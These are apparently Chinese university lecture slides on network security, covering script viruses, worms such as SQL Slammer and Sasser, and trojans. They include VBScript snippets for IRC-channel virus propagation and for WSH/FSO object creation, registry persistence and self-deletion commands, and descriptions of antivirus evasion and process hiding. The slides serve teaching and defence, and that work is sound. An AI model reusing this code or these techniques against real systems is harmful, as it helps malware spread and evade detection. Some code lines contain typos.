– 实现网络驱动器– 检索并修改环境变量– 处理注册表项– 对文件系统进行操作– 管理员用其支持功能创建简单的登陆脚本– 编写脚本管理活动目录

Page 109: 《 网络信息安全 》

109

脚本病毒及其关键技术

这些功能主要通过内置的 WSH 对象实现。 WSH共有 14 个内置对象,它们分别具有不同的功能。脚本病毒通过 htm网页传播的关键是使 FSO 和 WSH对象能够在网页内运行。

通常,要先对 COM 进行初始化,在获取相应的组件对象后,病毒就可以正确地使用 FSO 和 WSH两个对象。下面给出一段病毒代码。其中

– {F935DC22-1CF0-11D0-ADB9-00C04FD58A0B} ( Windows Script Host shell Object )

– {0D43FE01-F093-11CF-8940-00A0C9054228} ( File System Object )– 是注册表中 WSH 和 FSO 的两个主键。– Set AppleObject = document.applets(“KJ_guest”)– AppleObject.setCLSID(“{ F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}”)– AppleObject.createInstance() ‘ 创建一个实例– Set WsShell = AppleObject()– AppleObject. setCLSID(“{0D43FE01-F093-11CF-8940-00A0C9054228}”)– AppleObject.createInstance() ‘ 创建一个实例– Set FSO = AppleObject()

Page 110: 《 网络信息安全 》

110

脚本病毒及其关键技术

( 4 )通过 IRC聊天通道传播这里仅以 MIRC ()为例来说明病毒通过 IRC传播的过程。由于控制 IRC会话的命令存放在 Script.ini 中。并且 Script.ini 文件中的命令是可以自动执行的。因此, IRC 病毒传播的关键是在 Script.ini 文件中写一些代码,利用某些命令给通道中的其他用户传送病毒文件,使得用户使用被感染的通道时,都会收到一份病毒文件。下面是一般通过IRC传播病毒代码。

Page 111: 《 网络信息安全 》

111

脚本病毒及其关键技术

– Dim mirc

– set fso = CreateObject(‘Scripting.FileSystemObject”)

– set mirc = fso.CreateTextFile(“C:\mirc\script.ini”)

‘创建文件 script.ini

– fso.CopyFile Wscript.ScriptFullName, “C:\mirc\attachmemnt.vbs”,True ‘将病毒文件备份到 attachment.vbs

– mirc.WriteLine “[script]”

– mirc.WriteLine “n0 = on 1:join:*.*:{if ($nick != $me ) {halt}/dcc

send $nick C:\mirc\attachment.vbs}”

– ‘ 利用命令 /ddc send $ nick attachment.vbs给通道中的其他用户传送病毒文件

– mirc.Close

Page 112: 《 网络信息安全 》

112

脚本病毒及其关键技术

• 5. 脚本病毒获得控制权的方法 获取控制权的能力是病毒的关键能力,下面介绍脚本病毒获取控制权的

几种典型方法。 ( 1 )修改注册表

Windows 启动时会自动加载一些程序。这些程序是下面的项下的键值所指向的程序:

HKEY_LOCAL-MACHINE\\SOFTWARE\Microsoft\Windows\Current\Version\Run

利用这一特点,病毒也可以在此项下加一个键值,让这个键值指向病毒程序,这样就能保证在每次计算机启动时病毒能取得控制权。

( 2 )修改执行方式例如新欢乐时光将 dll 的执行方式修改为 wscript.exe ,也可以将 exe 文件

的映射指向病毒代码。

Page 113: 《 网络信息安全 》

113

脚本病毒及其关键技术

( 3 )引诱用户执行主要办法是让用户产生错觉。如病毒发送附件时,采用双后缀文件名,

使用户产生错觉。例如,使用文件名 xxxx.jpg.vbs 。由于默认情况下不显示后缀,所以这个双后缀文件被显示为 xxxx.jpg ,用户将其误认为是图片文件而去点击,执行了病毒程序。

( 4 ) desktop.ini 和 folder.htt配合使用desktop.ini 和 folder.htt 可用以配置活动桌面,并用以自定义文件夹。如果用户的目录中含有着两个文件,并且病毒感染了 folder.htt ,则当用户进入该目录时,就会触发 folder.htt 中的病毒代码。

Page 114: 《 网络信息安全 》

114

脚本病毒及其关键技术

• 6. VBS脚本病毒的弱点 ( 1 ) VBS脚本病毒的运行,往往要用到一个对象: FileSystemObjec

t 。 ( 2 ) VBS脚本病毒运行时需要其关联程序 wscript.exe 的支持。 ( 3 ) VBS 代码要通过Windows Acript Host 解释执行。 ( 4 )通过网页传播的病毒需要 ActiveX 的支持。 ( 5 )通过邮件传播的病毒需要 OutlookExpress 的自动发送邮件功能

的支持。 这些弱点可以被用于病毒的防治。例如,禁用对象 FileSystemObject

用 regsvr32 scrrun.dll/u命令,或者直接查找 scrrun.dll 文件加以删除或改名)可以有防范作用。

Page 115: 《 网络信息安全 》

115

计算机病毒技巧

• 计算机病毒也随着反病毒技术的发展不断演变、升级。下面是计算机病毒在技术方面的一些技巧。

• 1. 增强隐秘性 为了使病毒能长期潜伏,病毒就要增强自己的隐秘性。下面是几种增强隐秘性的技术。

( 1 )避开修改中断变量:早期的病毒程序都要直接修改中断服务子程序,以控制常用中断功能。因此,许多反病毒软件都对系统的中断向量表进行监视,一旦发现任何对系统内存中断向量表进行修改的操作,就会怀疑有病毒在活动。针对这一反病毒技术,病毒程序就要避免修改中断向量表时留下痕迹。

Page 116: 《 网络信息安全 》

116

计算机病毒技巧

例如,有的病毒程序,改修改中断向量的控制方式为通过修改中断服务子程序,来获得系统控制权。一种方法是前面介绍过的通过修改 COM 文件首指针的方法修改中断服务程序,基本步骤为:

– 从中断向量表中动态获得中断服务子程序入口;

– 将该入口开始的 3~5 字节的指令内容保存到病毒体工作区;

– 修改原入口处的指令为转移指令,转向病毒的中断服务子程序入口;

– 执行完病毒子程序后,再转向正常的服务子程序入口。

Page 117: 《 网络信息安全 》

117

计算机病毒技巧

( 2 )谋求在内存的合法性:早期的病毒程序一般驻留内存高端。因此,内存侦察是反病毒软件的首选技术。为躲避侦察,病毒程序可以采用下面的方法:

通过正常的内存申请进行合法驻留。如扬基病毒、 DONG 病毒等; 改驻留高端为驻留低端,如 DIRII 病毒。

( 3 )维持宿主程序的外特性:保持宿主程序的外特性不变,例如, CIH 病毒采用碎洞攻击技术不增加宿主文件的长度。

( 4 )不使用明显的感染标志:早先,病毒只简单地根据某个标志来判断病毒是否已经存在,现在则要经过一系列相关运算来进行判断。

Page 118: 《 网络信息安全 》

118

计算机病毒技巧

• 2. 采用抗分析技术 为了增加病毒分析的困难,病毒还采用了一些抗分析技术,例如: ( 1 )降低代码的可读性; ( 2 )采用加密技术,使分析者无法在病毒不执行的情形下阅读病毒程

序。主要的加密技术有: 对程序段进行动态加密:采用边执行边解密的方法,使后面的机器码是与前面的机器码运算后还原形成,分析者即使用 DEBUG等调试工具将病毒程序从头到尾打印出来,也是一堆乱码。

对宿主程序段进行加密。例如 Chairman 病毒将 COM型宿主程序的前 5 个字节进行加密,转存到病毒体 524H处开始的地方;而对 EXE型宿主程序的文件头偏移 0EH~08H 的内容存放在病毒体偏移 524H处开始的地方。

密钥不固定。

Page 119: 《 网络信息安全 》

119

计算机病毒技巧

( 3 )采用反跟踪技术:为清除病毒,常常可以借助 DEBUG等调试工具,对发现的病毒进行跟踪剖析。为了对付这种跟踪,病毒程序可以采用破坏中断向量的方法,如嵌入一些破坏单步中断 INT 1H 和中断点设置中断 INT 3H 的中断向量的程序段,使动态跟踪难以进行。

( 4 )自加密:例如新欢乐时光病毒可以随机地选取密钥,对自己的部分代码进行加密变换,并使每次感染的病毒代码不同。这给用特征法查毒带来一些困难。

( 5 )直接关闭反病毒软件:例如 VBS 病毒可以查看正在运行的进程,发现反病毒软件,就将之关闭。

Page 120: 《 网络信息安全 》

120

计算机病毒技巧

• 3. 采用变形病毒技术• 病毒在发展,网络在发展,网络又促进了病毒的发展,复杂的病毒又朝着变形病

毒发展。采用变形技术的病毒是一种进化病毒( Evolutionary Virus )也称计算机病毒变体( Computer Virus Variance )。它们是在计算机系统运行过程中,可以将自身有修改地复制到其他程序体内的计算机病毒,形成来源于同一病毒而表象形式不同的计算机病毒系列。

• 按照变形病毒自身代码和结构在空间上、时间上具有的不同变化,可以将变形病毒简要划分为 4类。 第一类变形病毒具备普通病毒所具有的基本特性。然而,病毒传播到一个目标后,自身代码与前一目标中的病毒代码几乎没有 3 个连续的字节相同。但这些代码的相对空间排列位置并不变动,所以也称一维变形病毒。有些一维变形病毒感染系统后,遇到检测时能够进行自我加密或脱密,或自我消失。有的列目录时能消失增加的字节数,或加载跟踪时,病毒能破坏跟踪或者逃之夭夭。

Page 121: 《 网络信息安全 》

121

计算机病毒技巧

第二类变形病毒除了具备一维变形病毒的特性外,那些变化的代码相互间的排列距离(相对空间位置)也是变化的,所以也称二维变形病毒。某些二维变形病毒(如 MADE-SP 病毒等)能用某种不动声色特殊的方式或混杂于正常的系统命令中去修改系统关键内核,并与之融为一体,或干脆另创建一些新的中断调用功能。有的感染文件的字节数不定,或与文件融为一体。

第三类变形病毒具备二维变形病毒的特性,并且在分裂后能分别潜藏在几处,当病毒引擎被激发后再自我恢复成一个完整的病毒。病毒在附着体上的空间位置是变化的,即潜藏的位置不定。比如:可能一部分藏在第一台机器硬盘的主引导区,另外几部分也可能潜藏在几个文件中,也可能潜藏在覆盖文件中,也可能潜藏在系统引导区、也可能另开垦一块区域潜藏等等。而在下一台被感染的机器内,病毒又改变了其潜藏位置,通常也称为三维变形病毒。

Page 122: 《 网络信息安全 》

122

计算机病毒技巧

第四类变形病毒具备三维变形病毒的特性,并且这些特性随时间动态变化。比如,在染毒的机器中,刚开机时病毒在内存里变化为一个样子,一段时间后又变成了另一个样子,再次开机后病毒在内存里又是一个不同的样子。往往这类病毒本身就是具有传播性质的“病毒生产机”,它们会在计算机内或通过网络传播时,将自己重新组合代码生成与前一个有些代码不同的变种新病毒,通常也称为:四维变形病毒。

四维变形病毒大部分具备网络自动传播功能,在网络的不同角落里到处隐藏。

Page 123: 《 网络信息安全 》

123

蠕 虫

Page 124: 《 网络信息安全 》

124

蠕虫的定义与特征

• 1982年, Xerox PARC 的 John F.Shoch等人为了进行分布式计算的模型实验,编写了称为蠕虫的程序。但是他们没有想到,这种“可以自我复制”,并可以“从一台计算机移动到另一台计算机”的程序,后来不断给计算机界带来灾难。 1988年被 Robert Morris释放的 Morris 蠕虫,在 Internet 上爆发,在几个小时之内迅速感染了所能找到的、存在漏洞的计算机。

• 人们通常也将蠕虫称为蠕虫病毒。但是严格地讲,它们并不是病毒。

Page 125: 《 网络信息安全 》

125

蠕虫的定义与特征

• 下面讨论蠕虫与病毒之间的异同。• 1. 存在的独立性

病毒具有寄生性,寄生在宿主文件中;而蠕虫是独立存在的程序个体。• 2. 传染的反复性

病毒与蠕虫都具有传染性,它们都可以自我复制。但是,病毒与蠕虫的传染机制有三点不同:

病毒传染是一个将病毒代码嵌入到宿主程序的过程,而蠕虫的传染是自身的拷贝; 病毒的传染目标针对本地程序(文件),而蠕虫是针对网络上的其他计算机; 病毒是在宿主程序运行时被触发进行传染,而蠕虫是通过系统漏洞进行传染。

蠕虫是一种独立程序,所以它们也可以作为病毒的寄生体,携带病毒,并在发作时释放病毒,进行双重感染。

病毒防治的关键是将病毒代码从宿主文件中摘除,蠕虫防治的关键是为系统打补丁( patch ),而不是简单地摘除。只要漏洞没有完全修补,就会重复感染。

Page 126: 《 网络信息安全 》

126

蠕虫的定义与特征

• 3. 攻击的主动性 计算机使用者是病毒传染的触发者,而蠕虫的传染与操作者是否进行操

作无关,它搜索到计算机的漏洞后即可主动攻击进行传染。• 4. 破坏的严重性

病毒虽然对系统性能有影响,但破坏的主要是文件系统。而蠕虫主要是利用系统及网络漏洞影响系统和网络性能,降低系统性能。例如它们的快速复制以及在传播过程中的大面积漏洞搜索,会造成巨量的数据流量,导致网络拥塞甚至瘫痪;对一般系统来说,多个副本形成大量进程,则会大量耗费系统资源,导致系统性能下降,对网络服务器尤为明显。

Page 127: 《 网络信息安全 》

127

Page 128: 《 网络信息安全 》

128

蠕虫的定义与特征

• 5. 行踪的隐蔽性 由于蠕虫传播过程的主动性,不需要像病毒那样需要计算机

使用者的操作触发,因而基本不可察觉。

• 从上述讨论可以看出,蠕虫虽然与病毒有些不同,但也有许多共同之处。如果说,凡是能够引起计算机故障,破坏计算机数据的程序统称为计算机病毒。那么,从这个意义上,蠕虫也应当是一种病毒。它以计算机为载体,以网络为攻击对象,是通过网络传播的恶性病毒。

Page 129: 《 网络信息安全 》

129

蠕虫的基本原理

• 1. 蠕虫程序的功能结构• 一个蠕虫程序的基本功能包括传播模块、隐藏模块和目的模块三部分。

( 1 )传播模块传播模块由扫描模块、攻击模块和复制模块组成。

扫描模块负责探测存在漏洞的主机。当程序向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就会得到一个可传播的对象。

攻击模块按照漏洞攻击步骤自动攻击已经找到的攻击对象,获得一个 shell 。获得一个 shell ,就拥有了对整个系统的控制权。对 Win 2x来说,就是 cmd.exe 。

复制模块通过原主机和新主机的交互,将蠕虫程序复制到新主机并启动,实际上是一个文件传输过程。

( 2 )隐藏模块:侵入主机后,隐藏蠕虫程序,防止被用户发现。 ( 3 )目的模块:实现对计算机的控制、监视或破坏等功能。

Page 130: 《 网络信息安全 》

130

蠕虫的基本原理

• 2. 蠕虫程序的传播过程蠕虫程序的一般传播过程为: ( 1 )扫描:由蠕虫的扫描功能模块负责探测存在漏洞的主机。当程序

向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就得到一个可传播的对象。

( 2 )攻击:攻击模块按漏洞攻击步骤自动攻击步骤 1 中找到的对象,取得该主机的权限(一般为管理员权限),获得一个 shell 。

( 3 )复制:复制模块通过原主机和新主机的交互将蠕虫程序复制到新主机并启动。

可以看到,传播模块实现的实际上是自动入侵的功能。所以蠕虫的传播技术是蠕虫技术的首要技术,没有蠕虫的传播技术,也就谈不上什么蠕虫技术了。

Page 131: 《 网络信息安全 》

131

蠕虫的基本原理

• 3. 蠕虫的扫描机制 如前所述,蠕虫在扫描漏洞时,要发送大量的数据包,从而会引起网络拥塞,占用网络通信带宽。但是,这并不是蠕虫本身所希望的。实际上,蠕虫更希望隐蔽地传播。现在流行的蠕虫采用的传播原则是:尽快地传播更多的主机。根据这一原则,扫描模块采取的扫描策略是:随机选取一段 IP地址,然后对这一地址段上的主机进行扫描。

差的扫描程序并不知道一段地址是否已经被扫描过,只是随机地扫描 Internet ,很有可能重复扫描一个地址段。于是,随着蠕虫传播的越广,网上的扫描包越多,即使探测包很小,但积少成多,就会引起严重的网络拥塞。

Page 132: 《 网络信息安全 》

132

蠕虫的基本原理

扫描策略改进的原则是,尽量减少重复的扫描,使扫描发送的数据包尽量少,并保证扫描覆盖尽量大的范围。按照这一原则,可以有如下一些策略:( 1 )在网段的选择上,可以主要对当前主机所在网段进行扫描,

对外网段随机选择几个小的 IP地址段进行扫描。( 2 )对扫描次数进行限制。( 3 )将扫描分布在不同的时间段进行,不集中在某一时间内。( 4 )针对不同的漏洞设计不同的探测包,提高扫描效率。例如:

– 对远程缓冲区溢出漏洞,通过发出溢出代码进行探测;

– 对 Web CGI漏洞,发出一个特殊的 HTTP请求探测。

Page 133: 《 网络信息安全 》

133

蠕虫的基本原理

• 4. 蠕虫的隐藏手法蠕虫为了不被发现,就要采用一些反检查技术,尽量隐藏自己。但是,隐藏技术有相当大的难度,需要大量了解反病毒软件和系统管理员的查毒手法。蠕虫的几种隐藏手法: ( 1 )修改蠕虫在系统中的进程号和进程名称,掩盖蠕虫启动的时间记

录。此方法在 Windows95/98 下可以使用 RegisterServiceProcess API函数使得

进程不可见。但是,在 Windows NT/2000 下,由于没有这个函数,方法就要困难一些了:只能在 psapi.dll 的 EnumProcess API 上设置“钩子” ,建立一个虚的进程查看函数。

( 2 )将蠕虫拷贝到一个目录下,并更换文件名为已经运行的服务名称,使任务管理器不能终止蠕虫运行。

这时要参考 ADV API32.DLL中的 OpnSCManagerA 和 CreateServiceA.API函数。

Page 134: 《 网络信息安全 》

134

蠕虫的基本原理

( 3 )删除自己:在 Windows95系统中,可以采用 DeleteFile API函数。在 Windows 98/NT/2000 中,只能在系统下次启动时删除自己。比较好的方法是:在注册表中写一条:

– ”HKLM\SoftWare\MOROSOFT\WNDOWS\CurrentVetsion\RUNONCE%COMSPEC%/C DEL <PATH_TO_WORM\WORM_FILE_NAME.EXE

然后重新启动操作系统。

Page 135: 《 网络信息安全 》

135

蠕虫举例

• 1. I_WORM.Blebla.B网络蠕虫 该病毒是通过电子邮件的附件来发送的,文件的名称是: xromeo.exe 和 xj

uliet.chm ,该蠕虫程序的名称由此而来。 当用户在使用 OE阅读信件时,这两个附件自动被保存、运行。当运行了该附件后,该蠕虫程序将自身发送给 Outlook地址簿里的每一个人,并将信息发送给 alt.comp.virus 新闻组。该蠕虫程序是以一个 E-mail附件的形式发送的,信件的主体是以 HTML语言写成的,并且含有两个附件: xromeo.exe及 xjuliet.chm ,收件人本身看不见什么邮件的内容。

该蠕虫程序的危害性还表现在它还能修改注册表一些项目,使得一些文件的执行,必须依赖该蠕虫程序生成的在 Windows目录下的 SYSRNJ.EXE 文件 ,由此可见对于该病毒程序的清除不能简单地将蠕虫程序删除掉 ,而必须先将注册表中的有关该蠕虫的设置删除后 ,才能删除这些蠕虫程序。

Page 136: 《 网络信息安全 》

136

蠕虫举例

• 2. I_WORM/EMANUEL网络蠕虫 该病毒通过Microsoft 的 Outlook Express来自动传播给受感染计算机的地址簿里的所有人,给每人发送一封带有该附件的邮件。该网络蠕虫长度 16896~ 22000 字节,有多个变种。

在用户执行该附件后,该网络蠕虫程序在系统状态区域的时钟旁边放置一个“花”一样的图标,如果用户点击该“花”图标,就会出现一个消息框,大意是不要按此按钮。如果按了该按钮的话,会出现一个以 Emmanuel 为标题的信息框,当用户关闭该信息框时又会出现一些别的 :诸如上帝保佑你的提示信息。

该网络蠕虫程序与其他常见的网络蠕虫程序一样,是通过网络上的电子邮件系统Outlook来传播的,同样是修改 Windows系统下的主管电子邮件收发的 wsock32.dll 文件。它与别的网络蠕虫程序的不同之处在于它不断可以通过网络自动发送网络蠕虫程序本身,而且发送的文件的名称是变化的。

该病毒是世界上第一个可自我将病毒体分解成多个大小可变化的程序块(插件),分别潜藏计算机内的不同位置,以便躲避查毒软件。该病毒可将这些碎块聚合成一个完整的病毒,再进行传播和破坏。

Page 137: 《 网络信息安全 》

137

蠕虫举例

• 3. I-Worm.Magistr网络蠕虫 这是一个恶性病毒,可通过网络上的电子邮件或在局域网内进行传播,发作时间是在病毒感染系统一个月后。该病毒随机在当前机上找一个 .EXE或 .SCR 文件和一些 .DOC或 .TXT文件作为附件发出去。蠕虫会改写本地机和局域网中电脑上的文件,文件内容全部被改写,这将导致文件不能恢复。在 Win 9x 环境下,该蠕虫会像 CIH 病毒一样,破坏BIOS 和清除硬盘上的数据,是危害性非常大的一种病毒。

该蠕虫采用了多变形引擎和两组加密模块,感染文件的中部和尾部,将中部的原文件部分代码加密后潜藏在蠕虫体内。其长为 24000~ 30000字节,使用了非常复杂的感染机制,感染 .EXE、 .DLL 、 .OCX、 .SCR、 .CPL 等文件;每传染一个目标,就变化一次,具有无穷次变化,其目的是使反病毒软件难以发现和清除。目前,该蠕虫已有许多变种。

Page 138: 《 网络信息安全 》

138

蠕虫举例

• 4. SQL蠕虫王 SQL蠕虫王是 2003年 1月 25日在全球爆发的蠕虫。它非常小,仅仅只有 376

字节,是针对 Microsoft SQL Server 2000 的蠕虫,利用的安全漏洞是“ Microsoft SQL Server 2000 Resolution 服务远程缓冲区溢出”漏洞,利用的端口是 SQL Server Resolution服务的 UDP 1434 。

Microsoft SQL Server 2000 可以在一个物理主机上提供多个逻辑的 SQL服务器的实例。每个实例都可以看做一个单独的服务器。但是,这些实例不能全都使用标准的 SQL服务对话端口( TCP 1433 ),所以 QL Server Resolution服务会监听 UDP 1434端口,提供一种特殊的 SQL服务实例的途径,用于客户端查询适当的网络末端。

当 SQL Server Resolution服务在 UDP 1434端口接收到第一个字节设置为 0x04 的 UDP包时, SQL监视线程会获取UDP包中的数据,并使用用户提供的该信息来尝试打开注册表中的某一键值。利用这一点,攻击者会在该 UDP包后追加大量字符串数据。当尝试打开这个字符串对应的键值时,会发生基于栈的缓冲区溢出。蠕虫溢出成功取得系统控制权后,就开始向随机 IP地址发送自身。

Page 139: 《 网络信息安全 》

139

蠕虫举例

• 5. 震荡波震荡波( Worm.Sasser )是一种长度为 15872 字节的蠕虫,它依赖于Windows NT/2000/XP/Server2003 ,以系统漏洞为传播途径。震荡波的传播过程:

( 1 )拷贝自身到系统目录(名为%WINDOWS%\avserve2.exe , 15872 字节),然后登记到自启动项:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

avserve2.exe = %WINDOWS%\avserve2.exe ( 2 )开辟线程,在本地开辟后门:监听 TCP 5554端口(支持USER、

PASS、 PORT 、 RETR 和 QUIT命令)被攻击的机器主动连接本地 5554端口,把 IP地址和端口传过来。本线程负责把病毒文件传送到被攻击的机器。

Page 140: 《 网络信息安全 》

140

蠕虫举例

( 3 )开辟 128 个扫描线程。以本地 IP地址为基础,取随机 IP地址,疯狂地试探连接 445端口:如果试探成功,则运行一个新的病毒进程对该目标进行攻击,把该目标的 IP地址保存到“ c:\win2.log” 。

( 4 )利用 Windows 的 LSASS 中存在一个缓冲区溢出漏洞进行攻击。一旦攻击成功,会导致对方机器感染此病毒并进行下一轮的传播;攻击失败也会造成对方机器的缓冲区溢出 , 导致对方机器程序非法操作 , 以及系统异常等。由于该病毒在 lsass.exe 中溢出,可以获取管理员的权限,执行任意指令。

( 5 )溢出代码会主动从原机器下载病毒程序,运行起来,开始新的攻击。

Page 141: 《 网络信息安全 》

141

木 马

返回

Page 142: 《 网络信息安全 》

142

木马程序及其类型

• 1. 木马程序概述 古希腊诗人荷马( Homer )在其史诗依利雅得( The Iliad )中,描述

了一个故事:希腊王的王妃海伦被特洛伊( Troy)的王子掠走,希腊王在攻打 Troy城时,使用了木马计( the stratagem of Trojan horse ),在巨大的木马内装满了士兵,然后假装撤退,把木马( Trojan horse )留下。特洛伊人把木马当作战利品拉回特洛伊城内。到了夜间,木马内的士兵,钻出来作为内应,打开城门。希腊王得以攻下特洛伊城。此后,人们就把特洛伊木马作为伪装的内部颠覆者的代名词。

RFC1244 ( Request for Comments:1244 )中,关于 Trojan (特洛伊木马)程序的定义是:特洛伊木马程序是一种程序,它能提供一些有用的或者令人感兴趣的功能。但是还具有用户不知道的其他功能,例如在用户不知晓的情况下拷贝文件或窃取密码。简单地说,凡是人们能在本地计算机上操作的功能,木马基本上都能实现。

Page 143: 《 网络信息安全 》

143

木马程序及其类型

• 2. 基于动作的木马程序类型根据木马程序对计算机的动作方式,木马程序可以分为如下几种类型。 ( 1 )远程控制型

远程控制型是木马程序的主流。所谓远程控制就是在计算机间通过某种协议(如 TCP/IP协议)建立起一个数据通道。通道的一端发送命令,另一端解释并执行该命令,并通过该通道返回信息。简单地说,就是采用 Clint/Server (客户机 /服务器,简称 C/S )工作模式。

采用 C/S 模式的木马程序都由两部分组成:一部分称为被控端(通常是监听端口的 Server端),另一部分被称为控制端(通常是主动发起连接的 Client端)。被控端的主要任务是隐藏在被控主机的系统内部,并打开一个监听端口,就像隐藏在木马中的战士,等待着攻击的时机,当接收到来自控制端的连接请求后,主线程立即创建一个子线程并把请求交给它处理,同时继续监听其他的请求。控制端的任只是发送命令,并正确地接收返回信息。

这种类型的木马,运行起来非常简单,只要先运行服务端程序,同时获得远程主机的 IP地址,控制者就能任意访问被控制端的计算机,从而使远程控制者在本地计算机上做任意想做的事情。

Page 144: 《 网络信息安全 》

144

木马程序及其类型

( 2 )信息窃取型 信息窃取型木马的目的是收集系统上的敏感信息,例如用户登陆类型、用户

名、口令、密码等。这种木马一般不需要客户端,运行时不会监听端口,只悄悄地在后台运行,一边收集敏感信息,一边不断检测系统的状态。一旦发现系统已经连接到 Internet 上,就在受害者不知情的情形下将收集的信息通过一些常用的传输方式(如电子邮件、 ICQ、 FTP )把它们发送到指定的地方。

( 3 )键盘记录型 键盘记录型木马只做一件事情,就是记录受害者的键盘敲击,并完整地记录

在 LOG 文件中。 ( 4 )毁坏型

毁坏型木马以毁坏并删除文件(如受害者计算机上的 .dll、 .ini或 .exe )为主要目的。

Page 145: 《 网络信息安全 》

145

木马程序及其类型

• 3. 木马程序的特征木马是一种危害性极大个恶意程序。它可以窃取数据,篡改、破坏数据和文件,释放病毒,执行远程非法操作者的指令,甚至可以使系统自毁。它的特征 : ( 1 )非授权性与自动运行性:一旦控制端与服务端建立连接后,控制端将窃取

用户密码,获取大部分操作权限,如修改文件、修改注册表、重启或关闭服务端操作系统、断开网络连接、控制服务端鼠标和键盘、监视服务端桌面操作、查看服务端进程等。这些权限不是用户授权的,而是木马自己窃取的。

( 2 )隐藏性和欺骗性:隐藏是一切恶意程序的存在之本。而木马为了获得非授权的服务,还要通过欺骗进行隐藏。

( 3 )可预置性:木马程序可以在系统软件和应用软件的文件传播中被人置入,也可以在系统或软件设计是被故意放置进来。例如某操作系统在设计时故意放置了一个木马程序,可以将客户的相关信息发回到其总部。

( 4 )非自繁殖性与非自动感染性。一般说来,病毒具有极强的传染性,而木马虽然可以传播,但本身不具备繁殖性和自动感染的功能。

Page 146: 《 网络信息安全 》

146

木马程序的关键技术

• 1. 木马的传播形式木马的传播都是先进行伪装或改头换面(如利用 exe 文件绑定将木马捆绑在小游戏上,或将木马的图标直接改为 html , txt , jpg等文件的图标),然后进行传播。下面介绍木马的几种传播形式。 ( 1 )手工放置:手工放置比较简单,是最常见的做法。手工放置分本地放置和远

程放置两种。本地安装就是直接在计算机上进行安装。远程安装就是通过常规攻击手段使获得目标主机的上传权限后,将木马上传到目标计算机上,然后通过其他方法使木马程序运行起来。

( 2 )以邮件附件的形式传播:控制端将木马改头换面后,然后将木马程序添加到附件中,发送给收件人。

( 3 )通过 OICQ对话,利用文件传送功能发送伪装了的木马程序。 ( 4 )将木马程序捆绑在软件安装程序上,通过提供软件下载的网站( Web/FTP/BBS )传播。

( 5 )通过病毒或蠕虫程序传播。 ( 6 )通过磁盘或光盘传播。

Page 147: 《 网络信息安全 》

147

木马程序的关键技术

• 2. 木马的隐藏与欺骗技术 ( 1 )进程隐蔽

服务器端想要隐藏木马,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让它消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。

Page 148: 《 网络信息安全 》

148

木马程序的关键技术

– 伪隐藏的方法比较简单。在 Windows9x系统中,只要把木马服务器端的程序注册为一个服务(在后台工作的进程)就可以了。这样,程序就会从任务列表中消失,为系统不再认为是一个进程,当按下 Ctrl+Alt+Delete 的时候,也就看不到这个进程。对于 Windows NT,Windows 2000等,通过服务管理器,则要使用 API 的拦截技术,通过建立一个后台的系统钩子,拦截 PSAPI 的 EnumProcessModules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程 ID( PID )为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了 TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。

– 当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程特征,也不应该具备服务特征,即它完全溶进了系统的内核。因此可以不把它做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,

Page 149: 《 网络信息安全 》

149

木马程序的关键技术

( 2 )伪装成图像文件即将木马图标修改成图像文件图标。

( 3 )伪装成应用程序扩展组件 将木马程序写成任何类型的文件(如 dll,ocx等),然后挂在十分出名的软

件中。因为人们一般不怀疑这些软件。 ( 4 )错觉欺骗

利用人的错觉,例如故意混淆文件名中的 1 (数字)与 l ( L的小写)、 0(数字)与 o (字母)或 O (字母)。

( 5 )合并程序欺骗合并程序就是将两个或多个可执行文件结合为一个文件,使这些可执行文件

能同时执行。木马的合并欺骗就是以合并程序的方式将木马绑定到应用程序中。

Page 150: 《 网络信息安全 》

150

木马程序的关键技术

• 3. 程序的自加载运行技术 在受害系统中驻留的木马程序应当具有自加载启动

运行功能。让程序自运行的方法比较多。最常见的方法是对 Windows系统注册表、win.ini 文件、 system.ini 文件或启动组文件进行修改。

Page 151: 《 网络信息安全 》

151

木马程序的关键技术

• 4. 木马程序建立连接的隐藏 木马程序的数据传递方法有很多种,通常是靠 TCP、UDP传输数据。这时可以利用 Winsock 与目标机的指定端口建立起连接,使用 send 和recv等 API 进行数据的传递,但是这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,例如在命令行状态下使用 netstat命令,就可以查看到当前的活动 TCP , UDP连接。为了躲避这种侦察,可以采用多种方法,例如合并端口法和使用 ICMP ( Internet Control Message Protocol )协议进行数据的发送的方法。

合并端口是在一个端口上同时绑定两个 TCP或者 UDP连接,通过把自己的木马端口绑定于特定的服务端口(比如 80端口的 HTTP )之上从而达到隐藏端口的目地。

使用 ICMP协议进行数据的发送的方法,是通过修改 ICMP 头的构造,加入木马的控制字段。这样的木马,具备很多新的特点,如不占用端口,使用户难以发觉;使用 ICMP 可以穿透一些防火墙,从而增加了防范的难度。

Page 152: 《 网络信息安全 》

152

木马程序的关键技术

• 5. 发送数据的组织方法 为了避免被发现,木马程序必须很好地控制数据传

输量,例如把屏幕画面切分为了多个部分,并将画面存储为 JPG 格式,使压缩率变高,使数据变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为 0 。

Page 153: 《 网络信息安全 》

153

病毒对抗技术

Page 154: 《 网络信息安全 》

154

基本概念

• 狭义的计算机病毒对抗,是指通过建立合理的计算机病毒防范体系和制度,及时发现计算机病毒侵入,并采取有效的手段阻止计算机病毒的传播和破坏,恢复受影响的计算机系统和数据。简单地说,查、防、解、恢复,是计算机病毒防范的四大法宝。广义的计算机病毒对抗还涉及使用病毒作为武器的相互攻击和防御。

• 防毒是指根据系统特性,采取相应的系统安全措施预防病毒侵入计算机。• 查毒是指对于确定的环境,能够准确地报出病毒名称,该环境包括,内存、文件、

